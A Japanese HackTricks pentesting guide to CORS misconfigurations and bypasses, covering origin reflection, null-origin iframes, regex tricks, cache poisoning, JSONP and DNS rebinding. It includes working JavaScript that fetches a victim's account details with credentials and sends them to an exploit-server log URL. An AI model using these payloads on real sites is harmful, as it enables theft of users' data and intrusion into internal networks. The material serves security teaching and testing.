hacktricks/pentesting-web/cors-bypass.md
2023-07-07 23:42:27 +00:00

34 KiB
Raw Blame History

CORS - 設定ミスとバイパス

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

CORSとは

CORSCross-origin resource sharing標準は、サーバーがアセットにアクセスできるユーザーと、外部リソースからのHTTPリクエストメソッドが許可されるかどうかを指定するために必要です。

同一オリジンポリシーは、リソースをリクエストするサーバーと、リソースが配置されているサーバーが同じプロトコル([http://)、ドメイン](http://\、ドメインinternal-web.comおよび同じポート80を使用することを要求します。そのため、サーバーが同一オリジンポリシーを強制する場合、同じドメインとポートのウェブページのみがリソースにアクセスできます。

次の表は、http://normal-website.com/example/example.htmlで同一オリジンポリシーが適用される方法を示しています:

アクセスされるURL アクセスが許可されますか?
http://normal-website.com/example/ はい:同じスキーム、ドメイン、ポート
http://normal-website.com/example2/ はい:同じスキーム、ドメイン、ポート
https://normal-website.com/example/ いいえ:異なるスキームとポート
http://en.normal-website.com/example/ いいえ:異なるドメイン
http://www.normal-website.com/example/ いいえ:異なるドメイン
http://normal-website.com:8080/example/ いいえ:異なるポート*

*Internet Explorerは、同一オリジンポリシーを適用する際にポート番号を考慮しないため、このアクセスを許可します。

Access-Control-Allow-Originヘッダー

Access-Control-Allow-Originの仕様では、複数のオリジン、または値**null、またはワイルドカード*が許可されています。ただし、ブラウザは複数のオリジンをサポートしていませんし、ワイルドカード*の使用には制限**があります。(ワイルドカードは単独で使用することができ、Access-Control-Allow-Origin: https://*.normal-website.comは失敗します。また、 _Access-Control-Allow-Credentials: true_と一緒に使用することはできません)

このヘッダーは、ブラウザによって追加されたOriginヘッダーを使用して、ウェブサイトがクロスドメインのリソースをリクエストするときにサーバーによって返されます

Access-Control-Allow-Credentialsヘッダー

クロスドメインのリソースリクエストのデフォルト動作は、クッキーやAuthorizationヘッダーなどのクレデンシャルを伴わないリクエスト渡されることです。ただし、クロスドメインサーバーは、CORSの**Access-Control-Allow-Credentialsヘッダーをtrueに設定することで、クレデンシャル渡された応答の読み取りを許可**することができます。

値がtrueに設定されている場合、ブラウザはクレデンシャルクッキー、認証ヘッダー、TLSクライアント証明書を送信します。

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

プリフライトリクエスト

特定の状況下では、クロスドメインリクエストが次の条件を満たす場合に、プリフライトリクエストが送信されます:

  • **非標準のHTTPメソッドHEAD、GET、POST**が含まれる場合
  • 新しいヘッダーが含まれる場合
  • 特別なContent-Typeヘッダーの値が含まれる場合

{% hint style="info" %} このリンクをチェックして、プリフライトリクエストの送信を回避するためのリクエストの条件を確認してください。 {% endhint %}

クロスオリジンリクエストは、OPTIONSメソッドを使用したリクエストによって先行します。CORSプロトコルでは、クロスオリジンリクエストを許可する前に、許可されるメソッドとヘッダーのチェックが必要です。サーバーは、許可されるメソッドのリストと信頼されるオリジンを返し、ブラウザはリクエストするウェブサイトのメソッドが許可されているかどうかを確認します。

{% hint style="danger" %} 「通常のリクエスト」の条件が満たされているためにプリフライトリクエストが送信されない場合でも、レスポンスには認証ヘッダーが必要です。認証ヘッダーがない場合、ブラウザはリクエストのレスポンスを読み取ることができません。 {% endhint %}

たとえば、次はプリフライトリクエストの例で、PUTメソッドを使用し、Special-Request-Headerというカスタムリクエストヘッダーを使用しています:

OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

サーバーは次のようなレスポンスを返すかもしれません:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers 許可されたヘッダー
  • Access-Control-Expose-Headers
  • Access-Control-Max-Age プリフライト応答を再利用するための最大時間枠を定義します
  • Access-Control-Request-Headers クロスオリジンリクエストが送信したいヘッダー
  • Access-Control-Request-Method クロスオリジンリクエストで使用したいメソッド
  • Origin クロスオリジンリクエストのオリジン(ブラウザによって自動的に設定されます)

通常(コンテンツタイプと設定されたヘッダーによって異なりますが)、GET/POSTリクエストではプリフライトリクエストは送信されません(リクエストは直接送信されます)。ただし、レスポンスのヘッダー/ボディにアクセスしたい場合は、それを許可する_Access-Control-Allow-Origin_ヘッダーを含める必要があります。
したがって、CORSはCSRFに対して保護されていませんただし、役に立つ場合もあります

ローカルネットワークリクエストのプリフライトリクエスト

ローカルネットワークIPアドレスにリクエストが送信されると、2つの追加のCORSヘッダーが送信されます

  • Access-Control-Request-Local-Network クライアントリクエストヘッダーはリクエストがローカルネットワークリクエストであることを示します
  • Access-Control-Allow-Local-Network サーバーレスポンスヘッダーはリソースが外部ネットワークと安全に共有できることを示します

ローカルネットワークリクエストを許可する有効な応答は、レスポンスにもAccess-Controls-Allow-Local_network: trueヘッダーを含める必要があります:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://public.example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} 注意してください。ローカルホストにアクセスするためにこれらの要件をバイパスするためには、Linuxの0.0.0.0 IPが使用できます。このIPアドレスは「ローカル」とは見なされないためです。

また、ローカルネットワークの要件をバイパスすることも可能です。これは、ローカルエンドポイントルーターのパブリックIPなどパブリックIPアドレスを使用する場合です。なぜなら、いくつかの場合では、パブリックIPにアクセスしている場合でも、それがローカルネットワークからのものであれば、アクセスが許可されるからです。

{% endhint %}

悪用可能な設定ミス

ほとんどの実際の攻撃では、Access-Control-Allow-Credentialstrueに設定されている必要があります。これにより、ブラウザがクレデンシャルを送信し、レスポンスを読み取ることができます。クレデンシャルがない場合、多くの攻撃は関係ありません。つまり、ユーザーのクッキーを利用することはできないため、ブラウザにリクエストを発行するのではなく、自分自身でリクエストを発行することによって得られるものはほとんどありません。

注目すべき例外は、被害者のネットワークの場所が一種の認証として機能する場合です。被害者のブラウザを使用してIPベースの認証をバイパスし、イントラネットアプリケーションにアクセスすることができます。影響の面では、これはDNSリバインディングと似ていますが、利用するのがはるかに簡単です。

Access-Control-Allow-Originに反映されるOrigin

現実世界では、これらの2つのヘッダーの値は同時に禁止されています
また、多くの開発者はCORSで複数のURLを許可したいと考えていますが、サブドメインのワイルドカードやURLのリストは許可されていません。そのため、いくつかの開発者は**Access-Control-Allow-Origin**ヘッダーを動的に生成し、複数の場合には単にOriginヘッダーの値をコピーするだけです。

その場合、同じ脆弱性が悪用される可能性があります。

他の場合では、開発者はドメインvictimdomain.com)がOriginヘッダーに表示されるかどうかをチェックするかもしれません。その場合、攻撃者は**attackervictimdomain.com**というドメインを使用して機密情報を盗むことができます。

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='/log?key='+this.responseText;
};
</script>

nullオリジン

nullOriginヘッダーの特別な値です。仕様では、リダイレクトやローカルのHTMLファイルによってトリガーされることが言及されています。一部のアプリケーションでは、nullオリジンをホワイトリストに登録して、アプリケーションのローカル開発をサポートする場合があります。
これは素晴らしいことです。なぜなら、いくつかのアプリケーションはCORS内でこの値を許可し、任意のウェブサイトはサンドボックス化されたiframeを使用して簡単にnullオリジンを取得できるからです。

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

正規表現のバイパス

もしドメイン victim.comホワイトリストに登録されている場合、victim.com.attacker.comホワイトリストに登録されているか確認してください。または、いくつかのサブドメインを乗っ取ることができる場合は、somesubdomain.victim.com がホワイトリストに登録されているか確認してください。

高度な正規表現のバイパス

文字列内のドメインを識別するために使用される正規表現のほとんどは、英数字のASCII文字と .- に焦点を当てています。そのため、Originヘッダー内の victimdomain.com{.attacker.com のようなものは、正規表現によってドメインが victimdomain.com と解釈されますが、ブラウザこの場合、Safariはこの文字をドメインとしてサポートしていますはドメイン attacker.com にアクセスします。

サブドメインの _ 文字は、Safariだけでなく、ChromeとFirefoxでもサポートされています

したがって、これらのサブドメインのいずれかを使用すると、URLのメインドメインを見つけるための「一般的な」正規表現をバイパスすることができます。

このバイパスの詳細な情報と設定については、次を参照してください: https://www.corben.io/advanced-cors-techniques/ および https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

サブドメイン内のXSSから

CORSの悪用に対して開発者が使用する防御メカニズムの1つは、頻繁に情報へのアクセスを要求するドメインをホワイトリストに登録することです。しかし、これは完全に安全ではありません。なぜなら、ホワイトリストに登録されているドメインの1つのサブドメインがXSSなどの他の攻撃に脆弱である場合、CORSの悪用が可能になるからです。

以下は例を考えましょう。次のコードは、requester.com のサブドメインが provider.com のリソースにアクセスできるように設定されている構成を示しています。

if ($_SERVER['HTTP_HOST'] == '*.requester.com')
{
//Access data
else{ // unauthorized access}
}

前提として、ユーザーはrequester.comにはアクセスできず、sub.requester.comにのみアクセスできるとします。また、sub.requester.comはXSSの脆弱性があるとします。ユーザーはクロスサイトスクリプティング攻撃を使用してprovider.comを攻撃することができます。

サーバーサイドキャッシュポイズニング

星が揃っている場合、HTTPヘッダーインジェクションを介してサーバーサイドキャッシュポイズニングを使用して、格納型XSSの脆弱性を作成することができるかもしれません。

アプリケーションがOriginヘッダー反映して、カンマなどの不正な文字をチェックせずにいる場合、Internet ExplorerとEdgeは\r0x0dを有効なHTTPヘッダーターミネータとして表示するため、IE/Edgeユーザーに対してHTTPヘッダーインジェクションの脆弱性が発生します:GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorerは次のようにレスポンスを表示します

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

これは直接的には悪用できませんが、攻撃者はBurp Suiteでこのリクエストを手動で作成し、サーバーサイドキャッシュがレスポンスを保存して他の人に提供する可能性があります。使用したペイロードはページの文字セットをUTF-7に変更し、XSSの脆弱性を作成するのに非常に有用です。

クライアントサイドキャッシュポイズニング

カスタムHTTPヘッダー内の反射型XSSを持つページに偶然遭遇したことがあるかもしれません。ウェブページがエンコードせずにカスタムヘッダーの内容を反映する場合を考えてみましょう:

GET / HTTP/1.1
Host: example.com
X-User-id: &lt;svg/onload=alert\(1\)&gt;

HTTP/1.1 200 OK
Access-Control-Allow-Origin: \*
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html
...
Invalid user: &lt;svg/onload=alert\(1\)&gt;\

CORSを使用すると、ヘッダーに任意の値を送信できます。それ自体では無意味ですが、注入されたJavaScriptを含むレスポンスはレンダリングされません。ただし、Vary: Originが指定されていない場合、レスポンスはブラウザのキャッシュに保存され、ブラウザが関連するURLに移動すると直接表示される可能性があります。私はfiddleを作成しましたので、好きなURLに対してこの攻撃を試すことができます。この攻撃はクライアント側のキャッシュを使用するため、非常に信頼性があります。

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // beware of mixed content blocking when targeting HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send();
</script>

バイパス

XSSIクロスサイトスクリプトインクルージョン/ JSONP

XSSIは、リソースがscriptタグを使用して含まれる場合、SOP同一生成元ポリシーが適用されないという事実を利用する脆弱性の一種を指します。スクリプトはクロスドメインで含める必要があるため、攻撃者はscriptタグを使用して含まれたすべての情報を読み取ることができます。

これは特に、動的なJavaScriptやJSONPの場合に興味深いです。これらでは、クッキーなどの環境権限情報が認証に使用されます。クッキーは、異なるホストからリソースを要求する際に含まれます。BurpSuiteプラグインhttps://github.com/kapytein/jsonp

さまざまな種類のXSSIとその攻撃方法について詳しくはこちらを参照してください。

リクエストに**callback** パラメータを追加してみてください。おそらく、ページはデータをJSONPとして送信するように準備されています。その場合、ページはContent-Type: application/javascriptでデータを送り返し、CORSポリシーをバイパスします。

簡単(無意味?)なバイパス

Webアプリケーションにリクエストを行い、レスポンスを送り返すように依頼することができます。これにより、**Access-Control-Allow-Origin**がバイパスされますが、注意点として、最終的な被害者への認証情報は送信されません。なぜなら、異なるドメイン(リクエストを行うドメイン)に連絡するためです。

CORS-escape

CORS-escapeは、リクエストとそのヘッダーパスするプロキシを提供し、またOriginヘッダーOrigin = 要求されたドメイン)をスプーフィングします。したがって、CORSポリシーがバイパスされます。
ソースコードはGithubにありますので、独自のホストを提供できます。

xhr.open("GET", "https://cors-escape.herokuapp.com/https://maximum.blog/@shalvah/posts");

simple-cors-escape

プロキシは、リクエストをそのまま「渡す」ようなものです。代わりに、他の誰かがあなたのリクエストを行う代替方法を使用することもできますが、この場合、サーバーは指定したパラメータで独自のリクエストを行います。

Iframe + Popup Bypass

e.origin === window.origin のような CORS チェックをバイパスするために、iframe を作成し、そこから新しいウィンドウを開くことでバイパスすることができます。詳細は以下のページを参照してください。

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

TTL を使用した DNS Rebinding

基本的には、被害者にあなたのページにアクセスさせドメインの DNS (IP) を変更し、それを被害者のウェブページに向けます。TTL が終了すると、新しい DNS リクエストが行われるため、情報を収集することができます(ユーザーは常にあなたのドメインにいるため、被害者サーバーにはクッキーを送信しないため、このオプションは被害者の IP の特権を悪用します)。

TTL を非常に低く設定しても0または1、ブラウザには数秒/数分間の間、これを悪用するのを防ぐキャッシュがあります。

したがって、このテクニックは、明示的なチェックをバイパスするのに役立ちます(被害者はドメインの IP をチェックするために明示的に DNS リクエストを実行し、ボットが呼び出されると独自のリクエストを行います)。

または、長時間同じページにユーザー/ボットがいる場合に使用できます(キャッシュの有効期限が切れるまで待つことができます)。

このテクニックを悪用するためには、https://lock.cmpxchg8b.com/rebinder.html のようなサービスを使用することができます。

独自の DNS rebinding サーバーを実行する場合は、DNSrebinder のようなものを使用し、ローカルポート 53/udp を公開し、それを指す A レジストリns.example.comを作成し、以前に作成した A サブドメインns.example.comを指す NS レジストリを作成します。
その後、そのサブドメインns.example.comの任意のサブドメインは、ホストによって解決されます。

また、http://rebind.it/singularity.html で公開されているサーバーも確認してください。

DNS Cache Flooding を使用した DNS Rebinding

前のセクションで説明したように、ブラウザはドメインの IP を TTL で指定された時間よりも長くキャッシュしています。ただし、この防御策をバイパスする方法があります。

DNS キャッシュをフラッドするサービスワーカーを持つことができます。これにより、2回目の DNS リクエストを強制することができます。したがって、フローは次のようになります。

  1. DNS リクエストが攻撃者のアドレスで応答される
  2. サービスワーカーが DNS キャッシュをフラッドする(キャッシュされた攻撃者のサーバー名が削除される)
  3. 2回目の DNS リクエストが 127.0.0.1 で応答される

青は最初の DNS リクエスト、オレンジはフラッドです。

キャッシュを使用した DNS Rebinding

前のセクションで説明したように、ブラウザはドメインの IP を TTL で指定された時間よりも長くキャッシュしています。ただし、この防御策をバイパスする別の方法があります。

同じサブドメインに対して 2つの A レコード(または 1つのレコードに2つの IP、プロバイダによる)を作成し、ブラウザがそれらをチェックすると両方を取得できるようにします。

今度は、ブラウザが最初に攻撃者の IP アドレスを使用することを決定した場合、攻撃者は同じドメインに対してHTTP リクエストを実行するペイロードを提供できます。ただし、攻撃者は被害者の IP を知っているため、被害者のブラウザには応答しなくなります

ブラウザがドメインから応答がないことを検出すると、2番目に指定された IPを使用するため、SOP をバイパスして異なる場所にアクセスすることができます。攻撃者はそれを悪用して情報を取得し、外部に漏洩させることができます。

{% hint style="warning" %} localhost にアクセスするためには、Windows では 127.0.0.1、Linux では 0.0.0.0 を再バインドする必要があります。
godaddy や cloudflare のようなプロバイダでは、IP 0.0.0.0 を使用することはできませんでしたが、AWS route53 では 2 つの IP を持つ A レコードを作成することができました。そのうちの 1 つが "0.0.0.0" です。

{% endhint %}

詳細については、https://unit42.paloaltonetworks.com/dns-rebinding/ を参照してください。

その他の一般的なバイパス方法

  • 内部 IP が許可されていない場合、Linux と Mac では 0.0.0.0 を禁止するのを忘れるかもしれません。
  • 内部 IP が許可されていない場合、CNAMElocalhost に応答することができますLinux と Mac で動作します)。
  • 内部 IP が DNS 応答として許可されていない場合、www.corporate.internal のような内部サービスに対して CNAME を応答することができます。

DNS Rebidding の武器化

前述のバイパス技術の詳細と、次のツールの使用方法については、Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference のトークで詳細を確認できます。

Singularity of Origin は、DNS rebinding 攻撃を実行するためのツールです。このツールには、攻撃サーバーの DNS 名の IP アドレスをターゲットマシンの IP アドレスに再バインドし、ターゲットマシン上の脆弱なソフトウェアを悪用するための攻撃ペイロードを提供するために必要なコンポーネントが含まれています。

DNSリバインディングに対する実際の保護策

  • 内部サービスでTLSを使用する
  • データにアクセスするための認証を要求する
  • Hostヘッダーを検証する
  • https://wicg.github.io/private-network-access/: パブリックサーバーが内部サーバーにアクセスする場合に常にプリフライトリクエストを送信するための提案

ツール

CORSポリシーの設定ミスをファズする

参考文献

{% embed url="https://portswigger.net/web-security/cors" %}

{% embed url="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS" %}

{% embed url="https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties" %}

{% embed url="https://www.codecademy.com/articles/what-is-cors" %}

{% embed url="https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors" %}

{% embed url="https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646" %}

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration" %}

{% embed url="https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥